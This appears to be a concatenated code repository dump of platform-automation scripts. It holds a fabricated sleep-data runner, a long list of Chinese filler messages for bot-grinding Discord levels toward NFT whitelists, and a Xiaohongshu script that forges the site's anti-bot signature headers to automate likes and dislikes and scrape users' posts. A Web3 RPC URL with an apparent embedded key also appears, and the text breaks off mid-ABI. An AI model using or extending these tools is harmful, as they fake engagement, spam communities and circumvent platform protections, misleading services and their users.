base64.b64decode(iv_b64).hex() 155 | invite_info(key, iv, device_id, authorization, uid) 156 | 157 | 158 | zh_list = open("./gosleep/zh2.txt").read().split("\n") 159 | ranges = range(0, 3) 160 | for i in ranges: 161 | print(f"------------------------------{i+1}------") 162 | tt_start = str(int(time.mktime(time.strptime(f"2023-4-{datetime.datetime.today().day-1} 22:{random.randint(10,59)}:{random.randint(10,59)}", "%Y-%m-%d %H:%M:%S")))) 163 | tt_stop = str(int(time.mktime(time.strptime(f"2023-4-{datetime.datetime.today().day} 08:{random.randint(10,59)}:{random.randint(10,59)}", "%Y-%m-%d %H:%M:%S")))) 164 | threading.Thread(target=main, args=(i,)).start() 165 | time.sleep(0.1) 166 | 167 | # nftlist = nft_list(device_id, authorization, uid) 168 | # nft_used(device_id, authorization, uid, nftlist[0][0]) 169 | # login_token(device_id, authorization, uid) 170 | -------------------------------------------------------------------------------- /discrod/内容.txt: -------------------------------------------------------------------------------- 1 | 今天零收入 2 | 加油升级!肝加把劲不要停!坚冲呀,兄弟们持就是胜利 3 | 屏幕一直在跳 4 | 继续肝,别停 5 | 今天天气真好 6 | 太卷了。。 7 | 一分钟多少经验? 8 | 都是用时间堆积出来的 9 | 自己和自己聊 10 | 使劲的搞了 11 | 全靠干啊 12 | 让我们继续努力吧 13 | 不能休息啊,休息就认输一半全是破发,赚不到钱了好无聊后来发现基本全是破发项目 14 | 聊点啥,总不能自己跟自己聊 15 | 继续肝啊各位 16 | 晚上别睡觉了 17 | 恭喜这些老哥们 18 | 你們在干嘛? 19 | 大神让你们下班了吗 20 | 好慢啊 21 | 就是肝 22 | 继续加油 23 | 太牛了 哥哥们 24 | 肝起来 25 | 留点机会给我 26 | 熬得嘴巴都长痘了 27 | 看好这个项目, 28 | 恭喜各位赢得白名单的朋友 29 | 肝不动了 30 | 我马上升级了 努努力 31 | 累,但是值得 32 | 肝啊 怕什么 33 | 尬聊好难受 34 | 害怕被超越 35 | 冲啊 加油 36 | 慢慢聊吧 37 | 早点白早点睡 38 | 加油呀 39 | 后面人会更多 40 | 太累了扛不住 41 | 是的你们是真的牛逼带我飞把 42 | 哈啊哈哈,真不错 43 | 破得好快?? 44 | 搞起来 45 | 继续加油了 46 | 不知道多久才能升级 47 | 坚持了这么久,继续 48 | 我们这批都会有的 49 | 好的 继续 50 | 累了 51 | 颈椎受不了啊 52 | 我都懵逼了 53 | 太累了啊 54 | 肝了 55 | 身体很重要啊 56 | 大家都瘋狂了 57 | 大家级数都这么高了啊 58 | 使劲的造了 59 | 累就对了 60 | 先休息一下 61 | 爆肝搞起来 62 | 太难了 63 | 哈哈哈哈 64 | 在哪儿这个项目真的无敌啦! 65 | 水起来了 加油升级 66 | 朋友们加油 67 | 羡慕你们 68 | 冲就完了 69 | 不要太多借口,给我肝就是了 70 | 劳碌命,加油吧,一定要拿到白单这么刷,会刷吐太肝了 71 | 头晕晕。。 72 | 加油吧 73 | 冲起来 74 | 休息一下吧 75 | 浑身都是肝,才行了 76 | 干就完了 77 | 加油,坚持下去就会有结果的 78 | 兄弟们加油吧!全力拼搏 79 | 太卷了呜呜呜 80 | 加油升级!肝加把劲不要停利 81 | 太难了。 82 | 消息太多了 83 | 能坚持下来的人就能拿到结果的 84 | 太累了 85 | 聊着聊着觉得时间也蛮快的 86 | 什么时候才能升级啊 87 | 非常需要护肝片 肝不动了 88 | 继续努力 89 | 大家努力 90 | 加油呀! 91 | 继续肝 92 | 大家都这么优秀,都这么肝, 93 | 天天这样身体也受不了啊 94 | 现在不搞白以后更难 95 | 心累啊~ 96 | 不要停 97 | 真的是肝帝 98 | 哈哈哈,大家加油啊,胜利近在眼前 99 | 伤肝啊兄弟们 100 | 是啊 不努力不行 101 | 胜利就在眼前 102 | 我来啦 103 | 别停下来这会儿这么多人聊天还不好 104 | 我只想要一个白名单 105 | 坚持坚持 106 | 都是在肝吗各位?,你们都多少级了啊? 107 | 坚持哦 108 | 乾坤未定,你我皆是黑马 109 | 肝呀兄弟们 110 | 目标都是一步步过去的 111 | 不睡觉使劲肝 112 | 一定是好项目 113 | 今天给他冲上去 114 | 我要加油了 115 | 感觉有点累 116 | 是啊,肝就是了 117 | 都是过眼云烟 118 | 大家都在努力白名单 119 | 看大家都在肝 120 | 根本不可能休息,这个就是曼巴精神 121 | 大家冲起来 122 | 是的,马上就快到了,大家一起加油、 123 | 继续卷 124 | 救命🆘 125 | 今晚得熬夜了 126 | 只有蠢比才做项目诋毁 哈哈 快给我白名单不想肝 127 | 不上班 肝啊 128 | 压力好大 129 | 太难了呀 130 | 不是人干的东西 131 | 都是肝王之王 132 | 有点肝不动了 133 | 燥起来来啊 134 | 升级超慢 135 | 好想吃东西啊啊 136 | 祝愿没所有买到得都发大财 137 | 稳了 138 | 节奏跟不上了 139 | 也不知道什么情况,天天项目一大堆,能赚钱的真的不多 140 | 累死的到天亮别犯傻 141 | 昨天看剩下不到一百個白名單名額,咋就沒了…… 142 | 拼命努力 143 | 相信nft 相信这个项目! 144 | 好羡慕你们啊 145 | 喝点红牛提提神 146 | 好项目,太难升级了 147 | 加油 148 | 开始 149 | 你们太厉害 150 | 早上岸早睡觉 151 | 升级也是挺快的 意志聊的话 152 | 继续升级 153 | 都会有的 154 | 卷的我目瞪口呆、 155 | 绝望猿妻怎么样 156 | 让我们继续吧,今天先给你撸下来 157 | 第一次和这么多朋友们聊天,平时一直一个人 158 | 努力了有可能会有啊,不努力一定没有的。 159 | 恭喜大家, 我也要白單 160 | 努力吧 161 | 这个不比打工强 162 | 乾起來 163 | 嗯,肝吧 164 | 在座的各位都会白 165 | 打工是不可能打工,这辈子都不可能 166 | 加油肝~~ 167 | 蛮难受的 168 | 好紧张啊大家加油吧 169 | 我也想上岸啊啊啊 170 | 想要一飞冲天 171 | 不肝就完蛋了 172 | 限速还挺好的,这样我们还能聊聊天,限速后机器人都被飞机票了 173 | 排名下降了好多 174 | 我也想知道 没人说啊 看起来是白嫖 175 | 卷卷人了 176 | 一直肝好项目 大冲!!!家加油 177 | 老铁们 晚上吃点什么? 178 | 继续干 179 | 想干饭了 180 | 大家一起努力升上去吧 181 | 好的全部错过,😫 182 | 一起加油,拿白名单 183 | 这里卧虎藏龙啊 184 | 太难干了 185 | 一级一级刷 186 | 现在是拼的时刻 不要为了一点口腹之欲让自己落后 187 | 大家都好努力 188 | 认真肝了两天了 189 | 机器人又在刷频了 190 | 现在真的看啥等级勒 直接聊到目标等级 191 | 打工是不可能打 192 | 点外卖 吃起来 唠嗑 193 | 最近nft行情很低迷 194 | 这个就是上班啊 195 | 后来发现基本全是破发项目冲冲冲啊hi起来,刷起来 196 | 加油卷 197 | 说得好,兄弟 198 | 快乐快乐熬夜🎉 199 | 肝就完事 200 | 肝啊 201 | 就怕到半夜给你来句没名单了 202 | 坚持住 203 | 加油共勉 204 | 恭喜你 205 | 怎么玩 206 | 炸了 207 | 下午好家人們 208 | 坚持! 209 | 大家为了一个预售资格也是拼了 210 | 现在没什么了 211 | 牛逼牛逼 212 | 我也饿了 213 | 头晕眼花了都 214 | 不冲是不可能的 215 | 不冲不行了 216 | 真的要拼一下了 217 | 机器人太多 218 | 肝起来,就会变了,不要停下来, 219 | 起飞 220 | 大家一起加油啊,很快就会到预期的。 221 | 大家真是太厉害了 222 | 他娘的淦的肚子都饿了 223 | 真是内卷太严重了 224 | 必胜! 225 | 快睡着了都 226 | 大家加油 227 | 那你们还不赶紧冲 228 | 经典一个人肝多个项目 229 | 这个项目是突然火爆的 好夸张 230 | 冲啊兄弟们 231 | 原来是这样啊,怪不得看很多紫色名字的 232 | 加油肝 233 | 在划一会水就要去刷抖音了 234 | 使劲聊吧 235 | 今天估计又发到半夜 236 | 你们好牛逼、卧槽干不动你们了 237 | 升级升级 238 | 加油吧各位 239 | 这个项目确实会营销 240 | 不停的努力吧 241 | 努力 242 | 冲刺 243 | 坚持就是胜利 244 | 这是一个好项目 245 | 对,要磨到底,今天肯定要拿到白名单 246 | 兄弟们肝 247 | 被你们卷死了 248 | 这速度起码三天 249 | 你们都太特么顶了 250 | 国人就是牛逼啊 251 | 让我们时刻保持活跃吧 252 | 表示比较难 253 | 我是真的喜欢肝 254 | 升级好慢 255 | 赶紧的 256 | 时间就是金钱 257 | 搞nft好累 不说了 我还要去送外卖 258 | 使劲的磨吧,兄弟们,上啊 259 | 火起来 260 | 因为有你们在我好开心 261 | 慢慢来了 稳住才行 262 | 干就完事了 263 | 犯困 264 | 我太难了 265 | 加油啊 266 | 大家坚持都会白的 267 | 老哥们来点段子 268 | 我还有什么资格不努力 269 | 你们一天升几级 270 | 大家一起努力 271 | 能坚持下来得不多 272 | 卷成这样我晕菜 273 | 不敢落下 274 | 买点猪肝补补 275 | 大家一起變色 276 | 等级比拉人难 277 | 这个好项目争取拿到白名单 278 | 我人都麻了 279 | 赶不上你们些大咖得 280 | 个个都是肝王 281 | 尬聊不能停 282 | 继续唠嗑捞一捞 283 | 好久没肝白名单了,都是拉人 284 | 项目火热 285 | 冲冲冲 286 | 好兄弟们我们一定要肝到底呀 287 | 都在把握 努力肝 288 | 别停下来好吗 289 | 你们有机会的 290 | 排名不用抢吧 291 | 努力会有回报的 292 | 肝不要停下来 293 | 我们一起活跃吧 294 | 是啊,都不容易啊 295 | 不要怕累,没有轻松的 296 | 这么努力的吗、 297 | 不要放弃 298 | 大家一起卷 299 | 加油努力 300 | 冲起来啊,肝 301 | 耐住寂寞! 302 | 要把握每一次机会 303 | 冲排名 304 | 快去休息一下吧、 305 | 这个经验值也是醉了 306 | 加油加油坚持坚持 307 | 被困在电脑前无法自拔 308 | 不可以休息 309 | 努力啊 310 | 一辈子的话都用在这了 311 | 必须升级今天 312 | 大家加冲鸭油 313 | 聊吧 314 | 冲呀,兄弟们好项目 大家加油不要一直肝停 315 | 努力的付出,会有回报的,加油 316 | 冲起来啊怎么回事 317 | 好累啊 318 | 还早哦 319 | 别明天就改标准 那就尴尬了 320 | 继续继续 321 | 太强了 322 | 水起来,尬聊尬聊 323 | 稳住 324 | 卷起来了 325 | 加油杆 326 | 加油加油 327 | 没话题啊 328 | 让我上去一点点 329 | 稳住,我们能赢 330 | 聊不动 331 | 机会过了就没了 332 | 我自己都佩服我能讲那么多话 333 | 确实难这个项目 334 | 大家一起飛 335 | 折磨王模式开启 336 | 内卷无处不在啊 337 | 查等级都看不了 338 | 肝 339 | 一起肝 340 | 词穷了水不动了 341 | 活着就是要冲 342 | 还没开始就想睡觉了 343 | 是的 牛逼的 没见过这样的 344 | 都加油 345 | 膜拜一次 346 | 各位 不要卷了 给点机会 347 | 加油升级!! 348 | 嘎嘎嘎嘎嘎 349 | 希望大家加油 350 | 奥利给 351 | 加油吧只能 352 | 理财鬼才 353 | 冲这一会就完事了 354 | 努力杆 355 | 威武啊 这真的然 356 | 有你们这样的战友很棒 357 | 继续 358 | 放弃其他项目也要把这个搞到手 359 | 我要暴富 360 | 每天都来升一升级 361 | 猛啊 362 | 早知道早點混進來刷 363 | 医药费够项目么 364 | 应该值得的吧 365 | 别松懈啊 366 | 牛了牛了 367 | 牛逼大发 368 | 不要停啊 369 | 小累 370 | 我们大家一起飞 371 | 聊起来 372 | 眼睛都看不过来了 373 | 冲就完事了 374 | 落后太多了 加油 375 | 一起干 376 | 加油咯 377 | 累啊 378 | 生命不息 379 | 这样尬聊还挺有劲哈 380 | 我都聊不动了 381 | 我也想知道 382 | 有多少个白名单名额? 383 | 快快升级 384 | 牛逼,希望项目方大发 385 | 累是值得的 386 | 肝成王中王了 387 | 就算是水,也不能输给他们 388 | 今天准备好挑灯夜战了 389 | 肝吧,肝完休息最近有啥好的项目 390 | 不冲没有别的办法 391 | 经验一点一点累计 392 | 你们真的是太肝了啊 393 | 狼人啊都是 394 | 主要是眼睛累 395 | 努力搞起 396 | 我都快肝吐了哈哈哈 397 | 继续水 398 | 随便点个外卖补补 399 | 别担心,后面还有更难受的 400 | 大家肝得怎麼樣? 401 | 坐的腰酸背疼 402 | 不信得不到一个名额,肝! 403 | 对啊,平时大家没事一起聊聊天,其实也挺好的。 404 | 我已经麻了 405 | 兄弟们加油 406 | 快变色了、撸起来、加油 407 | 水不动也得水😆 老外都在水 408 | 加油哦 409 | 谁白了 羡慕死了.. 410 | 兴奋起来了 411 | 喝口热水缓缓 412 | 给自己鼓劲,努力聊天 413 | 老铁们挺住 414 | 你们手速好快啊 415 | 不要放弃再来一句 416 | 不管什么结果 先干了再说 417 | 嗨起来 418 | 这么多兄弟在干 419 | 人数增加挺快的,明天难度更高,大家加油,冲 420 | 变色我们是认真的 421 | 这样真的要通宵了 422 | 一个月搞到几个好项目就起飞了~ 423 | 大家别太卷 424 | 我们都在机械的打这键盘 很累很累 425 | 冲冲冲,gogogo 426 | 冲锋啦 427 | 付出就有回报 428 | 慢慢来啊 别太肝 429 | 我要绿我要绿!! 430 | 我怕你们。。真的 431 | 大家拿稳记住了 432 | 感觉你们好专业 433 | 天啊 434 | 上车开肝!! 435 | 这也太快了 436 | 一直肝这个 437 | 加油跟上你们的节奏 438 | 恭喜各位 439 | 都这么高了 440 | 好好肝兄弟们 441 | 争分夺秒聊天 442 | 卷王之王 443 | 尬聊 444 | 搏一搏 单车变摩托 445 | 累了,不想聊了 446 | 啦啦啦 447 | 大佬可以休息護肝去了 448 | 哈哈 449 | 住在这肝了 450 | 经验虽然说低了些,不过大家都是这样过来的 451 | 来这里聊聊吧!另一个聊天的速度太快了,我不喜欢。 452 | 坚持不懈,大家一起加油啊 453 | 别超过我了行不行 454 | 感覺現在大家都差不多等級 就一起順順的聊上去吧! 455 | 我看红牛需要一打 456 | 趁现在冲上去太不容易了 457 | 继续加油啊,坚持下去一定会成功的。 458 | 你们都太厉害了 459 | 兄弟们你们太猛了 460 | 一刻都停不下来。。。 461 | 赶紧努力升级 462 | 干起来 463 | 厉害啊 464 | 这是想我肝都没 465 | 必须要肝啊, 466 | 键盘敲烂 467 | 抓紧升冲冲冲 468 | 一起努力吧 469 | 大家拼啊 470 | 人都没了。。。 471 | 我都肝的心累了 472 | 再坚持坚持吧 473 | 很多刚来的同志应该机会不大了 474 | 撸起袖子加油干 475 | 努力财富自由 476 | 大家活跃的时候也要注意身体 477 | 冲鸭冲鸭冲鸭冲鸭 478 | 太激情了 479 | 希望在眼前 480 | hi起来,刷起来 481 | 我一直在活跃啊 482 | 是的,这很疯狂 483 | 坚持到底都是狠人 484 | 跟上 485 | 哎 冲冲冲 486 | 大家都想要wl,就冲吧 487 | 使劲的磨了 488 | 哈哈大家辛苦了、真的是努力啊 489 | 嗨起来啊大家 490 | 继续不要停 491 | 我很痛苦 492 | 冲刺兄弟们 493 | 让我们一起杆起来 494 | 加油各位 495 | 最好只是在这里聊天我看不到聊天速度太快了 496 | 所有人都在卷啊 497 | 不试更没机会呀 498 | 让我们继续 499 | 我觉得我快躺平了 500 | 我想找个人聊聊天 501 | 容我说一句,在座的都是狠人 502 | 太难升级 503 | 国人就是这么猛 504 | 确实 505 | 眼睛消耗有点大 506 | 大家都开卷了 507 | 这个升级好慢 508 | 都是国人哈哈哈 509 | 泡个咖啡 510 | 经验值升这么慢 511 | 一分钟一条都能刷爆屏幕 512 | 你们太夸张了 513 | 慢慢地肝好了 514 | 不要停止,跟上就完事了 515 | 先不管它到底行不行,先肝了再说 516 | 使劲的聊吧,兄弟们 517 | 坐等暴富 518 | 肝爆了 519 | 跟不上节奏了 520 | 肝功能 521 | 我都快没话说了 522 | 打字打的都不想打了 523 | 慢慢来吧 524 | 努力搞啊 525 | 希望有一個白名单 526 | 一点一点磨 527 | 中国人最能肝 528 | 加油奥利给 529 | 格局打开 530 | 升级太难了 531 | 太肝了各位 532 | 好友都没这么多 533 | 你们好猛啊 534 | 腰疼 535 | 受不了了 536 | 你追我赶 537 | 你们这样我压力真的很大 538 | 聊了一整天 539 | 累死了啊 540 | 如果有双倍经验就好了 541 | 不爆肝不准休息 542 | 我就想那个白名单这么难 543 | 都快聊无可聊了 544 | 我们还要加把劲 545 | 中文区,很疯狂啊 546 | 我要坚持 547 | 头都疼 548 | 这是一场追逐战啊 549 | 看的眼都花的 550 | 各位老板慢点刷 551 | 除了肝还是肝 552 | 太难搞了 白名单 553 | 壮士还需要继续努力 554 | 冲吧,兄弟们 555 | 身体要紧 556 | 别停 557 | 给我点机会吧 558 | 大家一起加油吧 559 | 好难哦 560 | 冲刺了兄弟们 561 | 努力加油 562 | 风油精、正红花油,红牛搞起来! 563 | 还有一点不能停 看啥等级勒 直接聊到目标等级 564 | 不用那么拼,得去吃的还是得去吃 565 | 这个ip 绝对爆炸 加油 566 | 沒有獲得白名單的朋友不要氣餒 567 | 干就完了,不要多说 568 | 你们多少级了 569 | 去哪了 570 | 好的 571 | 后面新人觉得20级争取不到很难进来吧 572 | 就靠着项目赚钱了 573 | 提前恭喜啊,修成正果了 574 | 我也累了 575 | yiqi nuli haoduoren 576 | 科普一下 577 | 风油精滴下去 578 | 现在才三级 579 | 啊啊啊啊啊啊啊 580 | 我想按现在的速度我们很多人都可以达到了。 581 | 内卷无处不在啊质押的也有被套的拿到白就是赚钱 582 | 哈喽老哥们 583 | 加油高吧 584 | 说实话,我还从没获得过白名单 585 | 大家歇会儿不好嘛? 586 | 这个群气氛真好 587 | 怕来着不是你怕无归期 588 | 是不是停了白名單?500白了 589 | 是啊 快了 590 | 真的是肝帝欸 591 | 休息会回来再肝 592 | 哈哈哈,大家加油啊,胜利近在眼前了的。 593 | 所以我才说这个升级跟胖猴有得一拼 594 | 人 加油 595 | 只管聊 596 | 没限速才好吧 597 | 越到后边越想放弃最近gas一直居高不下肝这太累了 598 | 看好这个项目 599 | 这个总量,根本就没必要送白单了 600 | 比你棒的比你更努力,钱是你赚的, 601 | 我马上升级了 努努力这项目什么时候开始的呀 602 | 挂地板价出不了手也是亏 603 | 還有白名單? 604 | 你咋还在 605 | 哈哈哈,继续肝就行了,快到七级 606 | 多少级才能白啊暴富后我金盆洗手冲冲冲啊 607 | 晚上吃什么啊 608 | 赶不上你们些大咖得 609 | 各位老板慢点刷 610 | 你不停的刷 也要刷2天吧 611 | 浑身都是肝,才行了 612 | 早上岸早睡觉 613 | 你们手上有没有其他的项目啊? 614 | 最近没怎么赚到钱? 615 | 现在真的看啥等级勒直接聊到目标等级 616 | 大家升级的时候也要注意身体 617 | 劳碌命,加油吧,一定要拿到白单这么刷,会刷吐太肝了 -------------------------------------------------------------------------------- /小红书/main.py: -------------------------------------------------------------------------------- 1 | from uuid import uuid4 2 | from curl_cffi import requests 3 | import ctypes 4 | import json 5 | import random 6 | import urllib.parse 7 | import execjs 8 | 9 | js = execjs.compile(open("./index.js").read()) 10 | 11 | lookup = ["Z", "m", "s", "e", "r", "b", "B", "o", "H", "Q", "t", "N", "P", "+", "w", "O", "c", "z", "a", "/", "L", "p", "n", "g", "G", "8", "y", "J", "q", "4", "2", "K", "W", "Y", "j", "0", "D", "S", "f", "d", "i", "k", "x", "3", "V", "T", "1", "6", "I", "l", "U", "A", "F", "M", "9", "7", "h", "E", "C", "v", "u", "R", "X", "5",] 12 | 13 | 14 | def tripletToBase64(e): 15 | return ( 16 | lookup[63 & (e >> 18)] + lookup[63 & (e >> 12)] + lookup[(e >> 6) & 63] + lookup[e & 63] 17 | ) 18 | 19 | 20 | def encodeChunk(e, t, r): 21 | m = [] 22 | for b in range(t, r, 3): 23 | n = (16711680 & (e[b] << 16)) + \ 24 | ((e[b + 1] << 8) & 65280) + (e[b + 2] & 255) 25 | m.append(tripletToBase64(n)) 26 | return ''.join(m) 27 | 28 | 29 | def b64Encode(e): 30 | P = len(e) 31 | W = P % 3 32 | U = [] 33 | z = 16383 34 | H = 0 35 | Z = P - W 36 | while H < Z: 37 | U.append(encodeChunk(e, H, Z if H + z > Z else H + z)) 38 | H += z 39 | if 1 == W: 40 | F = e[P - 1] 41 | U.append(lookup[F >> 2] + lookup[(F << 4) & 63] + "==") 42 | elif 2 == W: 43 | F = (e[P - 2] << 8) + e[P - 1] 44 | U.append(lookup[F >> 10] + lookup[63 & (F >> 4)] + lookup[(F << 2) & 63] + "=") 45 | return "".join(U) 46 | 47 | 48 | def encodeUtf8(e): 49 | b = [] 50 | m = urllib.parse.quote(e, safe='~()*!.\'') 51 | w = 0 52 | while w < len(m): 53 | T = m[w] 54 | if T == "%": 55 | E = m[w + 1] + m[w + 2] 56 | S = int(E, 16) 57 | b.append(S) 58 | w += 2 59 | else: 60 | b.append(ord(T[0])) 61 | w += 1 62 | return b 63 | 64 | 65 | def randhex(length): 66 | characters = "abcdef1234567890" 67 | random_string = ''.join(random.choices(characters, k=length)) 68 | return random_string 69 | 70 | 71 | def mrc(e): 72 | ie = [ 73 | 0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685, 74 | 2657392035, 249268274, 2044508324, 3772115230, 2547177864, 162941995, 75 | 2125561021, 3887607047, 2428444049, 498536548, 1789927666, 4089016648, 76 | 2227061214, 450548861, 1843258603, 4107580753, 2211677639, 325883990, 77 | 1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755, 78 | 2366115317, 997073096, 1281953886, 3579855332, 2724688242, 1006888145, 79 | 1258607687, 3524101629, 2768942443, 901097722, 1119000684, 3686517206, 80 | 2898065728, 853044451, 1172266101, 3705015759, 2882616665, 651767980, 81 | 1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705, 82 | 3099436303, 671266974, 1594198024, 3322730930, 2970347812, 795835527, 83 | 1483230225, 3244367275, 3060149565, 1994146192, 31158534, 2563907772, 84 | 4023717930, 1907459465, 112637215, 2680153253, 3904427059, 2013776290, 85 | 251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719, 86 | 3865271297, 1802195444, 476864866, 2238001368, 4066508878, 1812370925, 87 | 453092731, 2181625025, 4111451223, 1706088902, 314042704, 2344532202, 88 | 4240017532, 1658658271, 366619977, 2362670323, 4224994405, 1303535960, 89 | 984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733, 90 | 3554079995, 1131014506, 879679996, 2909243462, 3663771856, 1141124467, 91 | 855842277, 2852801631, 3708648649, 1342533948, 654459306, 3188396048, 92 | 3373015174, 1466479909, 544179635, 3110523913, 3462522015, 1591671054, 93 | 702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443, 94 | 3233442989, 3988292384, 2596254646, 62317068, 1957810842, 3939845945, 95 | 2647816111, 81470997, 1943803523, 3814918930, 2489596804, 225274430, 96 | 2053790376, 3826175755, 2466906013, 167816743, 2097651377, 4027552580, 97 | 2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225, 98 | 1852507879, 4275313526, 2312317920, 282753626, 1742555852, 4189708143, 99 | 2394877945, 397917763, 1622183637, 3604390888, 2714866558, 953729732, 100 | 1340076626, 3518719985, 2797360999, 1068828381, 1219638859, 3624741850, 101 | 2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135, 102 | 1181335161, 3412177804, 3160834842, 628085408, 1382605366, 3423369109, 103 | 3138078467, 570562233, 1426400815, 3317316542, 2998733608, 733239954, 104 | 1555261956, 3268935591, 3050360625, 752459403, 1541320221, 2607071920, 105 | 3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877, 106 | 83908371, 2512341634, 3803740692, 2075208622, 213261112, 2463272603, 107 | 3855990285, 2094854071, 198958881, 2262029012, 4057260610, 1759359992, 108 | 534414190, 2176718541, 4139329115, 1873836001, 414664567, 2282248934, 109 | 4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795, 110 | 376229701, 2685067896, 3608007406, 1308918612, 956543938, 2808555105, 111 | 3495958263, 1231636301, 1047427035, 2932959818, 3654703836, 1088359270, 112 | 936918000, 2847714899, 3736837829, 1202900863, 817233897, 3183342108, 113 | 3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449, 114 | 601450431, 3009837614, 3294710456, 1567103746, 711928724, 3020668471, 115 | 3272380065, 1510334235, 755167117, 116 | ] 117 | o = -1 118 | 119 | def right_without_sign(num: int, bit: int = 0) -> int: 120 | val = ctypes.c_uint32(num).value >> bit 121 | MAX32INT = 4294967295 122 | return (val + (MAX32INT + 1)) % (2 * (MAX32INT + 1)) - MAX32INT - 1 123 | 124 | for n in range(57): 125 | o = ie[(o & 255) ^ ord(e[n])] ^ right_without_sign(o, 8) 126 | return o ^ -1 ^ 3988292384 127 | 128 | 129 | def encryptHeaders(url: str, data: dict, a1: str): 130 | # 加密xs,xt 131 | res = js.call("myEncrypt", url, data) 132 | x6, x7 = str(res["X-t"]), res["X-s"] 133 | 134 | # 浏览器指纹信息 135 | x8 = "浏览器指纹信息,自己获取" 136 | 137 | # 加密x-s-common 138 | mmm = {"s0": 3, "s1": "", "x0": "1", "x1": "3.6.8", "x2": "MacOS", "x3": "xhs-pc-web", "x4": "4.4.0", "x5": a1, "x6": x6, "x7": x7, "x8": x8, "x9": mrc(x6+x7+x8), "x10": 1} 139 | x_s_common = b64Encode(encodeUtf8(json.dumps(mmm))) 140 | 141 | # 组成headers 142 | headers = { 143 | "authority": "edith.xiaohongshu.com", 144 | "accept": "application/json, text/plain, */*", 145 | "accept-language": "zh-CN,zh;q=0.9,en;q=0.8", 146 | "cache-control": "no-cache", 147 | "content-type": "application/json;charset=UTF-8", 148 | "origin": "https://www.xiaohongshu.com", 149 | "pragma": "no-cache", 150 | "referer": "https://www.xiaohongshu.com/", 151 | "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36", 152 | "x-b3-traceid": randhex(16), 153 | "x-s": x7, 154 | "x-s-common": x_s_common, 155 | "x-t": x6 156 | } 157 | return headers 158 | 159 | 160 | def like(cookies: dict, NoteId: str): 161 | url = "https://edith.xiaohongshu.com/api/sns/web/v1/note/like" 162 | data = {"note_oid": NoteId} 163 | headers = encryptHeaders(url.split("xiaohongshu.com")[1], data, cookies["a1"]) 164 | response = requests.post(url, headers=headers, cookies=cookies, json=data) 165 | print(response.json()) 166 | return response.json() 167 | 168 | 169 | def dislike(cookies: dict, NoteId: str): 170 | url = "https://edith.xiaohongshu.com/api/sns/web/v1/note/dislike" 171 | data = {"note_oid": NoteId} 172 | headers = encryptHeaders(url.split("xiaohongshu.com")[1], data, cookies["a1"]) 173 | response = requests.post(url, headers=headers, cookies=cookies, json=data) 174 | print(response.json()) 175 | return response.json() 176 | 177 | 178 | def getNoteUserInfo(cookies: dict, user_id: str): 179 | url = f"https://edith.xiaohongshu.com/api/sns/web/v1/user/otherinfo?target_user_id={user_id}" 180 | headers = encryptHeaders(url.split("xiaohongshu.com")[1], None, cookies["a1"]) 181 | response = requests.get(url, headers=headers, cookies=cookies) 182 | print(response.json()) 183 | return response.json() 184 | 185 | 186 | def getAllNoteByUserId(cookies: dict, user_id: str): 187 | url = f"https://edith.xiaohongshu.com/api/sns/web/v1/user_posted?num=220&cursor=&user_id={user_id}&image_formats=jpg,webp,avif" 188 | headers = encryptHeaders(url.split("xiaohongshu.com")[1], None, cookies["a1"]) 189 | response = requests.get(url, headers=headers, cookies=cookies) 190 | print(response.json()) 191 | return response.json() 192 | 193 | 194 | # x参数为可变参数,自取 195 | cookies = { 196 | "abRequestId": str(uuid4()), 197 | "a1": "x", 198 | "webId": "x", 199 | "gid": "x", 200 | "xsecappid": "xhs-pc-web", 201 | "web_session": "x", 202 | "webBuild": "4.4.0", 203 | "unread": "x", 204 | "acw_tc": "x", 205 | "websectiga": "x", 206 | "sec_poison_id": str(uuid4()) 207 | } 208 | getAllNoteByUserId(cookies, "626f6bbe0000000010009a3d") 209 | -------------------------------------------------------------------------------- /friendtech/Web3Api.py: -------------------------------------------------------------------------------- 1 | from config import * 2 | from web3 import Web3, HTTPProvider 3 | from datetime import datetime 4 | 5 | 6 | class Web3Api(): 7 | def __init__(self): 8 | self.rpc = 'https://base-mainnet.blastapi.io/fe9c30fc-3bc5-4064-91e2-6ab5887f8f4d' 9 | self.web3 = Web3(HTTPProvider(self.rpc)) 10 | self.contractAdd = "0xCF205808Ed36593aa40a44F10c7f7C2F67d4A4d4" 11 | self.CAKE_BSC_ABI = [{"anonymous": False, "inputs": [{"indexed": True, "internalType": "address", "name": "previousOwner", "type": "address"}, {"indexed": True, "internalType": "address", "name": "newOwner", "type": "address"}], "name": "OwnershipTransferred", "type": "event"}, {"anonymous": False, "inputs": [{"indexed": False, "internalType": "address", "name": "trader", "type": "address"}, {"indexed": False, "internalType": "address", "name": "subject", "type": "address"}, {"indexed": False, "internalType": "bool", "name": "isBuy", "type": "bool"}, {"indexed": False, "internalType": "uint256", "name": "shareAmount", "type": "uint256"}, {"indexed": False, "internalType": "uint256", "name": "ethAmount", "type": "uint256"}, {"indexed": False, "internalType": "uint256", "name": "protocolEthAmount", "type": "uint256"}, {"indexed": False, "internalType": "uint256", "name": "subjectEthAmount", "type": "uint256"}, {"indexed": False, "internalType": "uint256", "name": "supply", "type": "uint256"}], "name": "Trade", "type": "event"}, {"inputs": [{"internalType": "address", "name": "sharesSubject", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "buyShares", "outputs": [], "stateMutability": "payable", "type": "function"}, {"inputs": [{"internalType": "address", "name": "sharesSubject", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "getBuyPrice", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "sharesSubject", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "getBuyPriceAfterFee", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "uint256", "name": 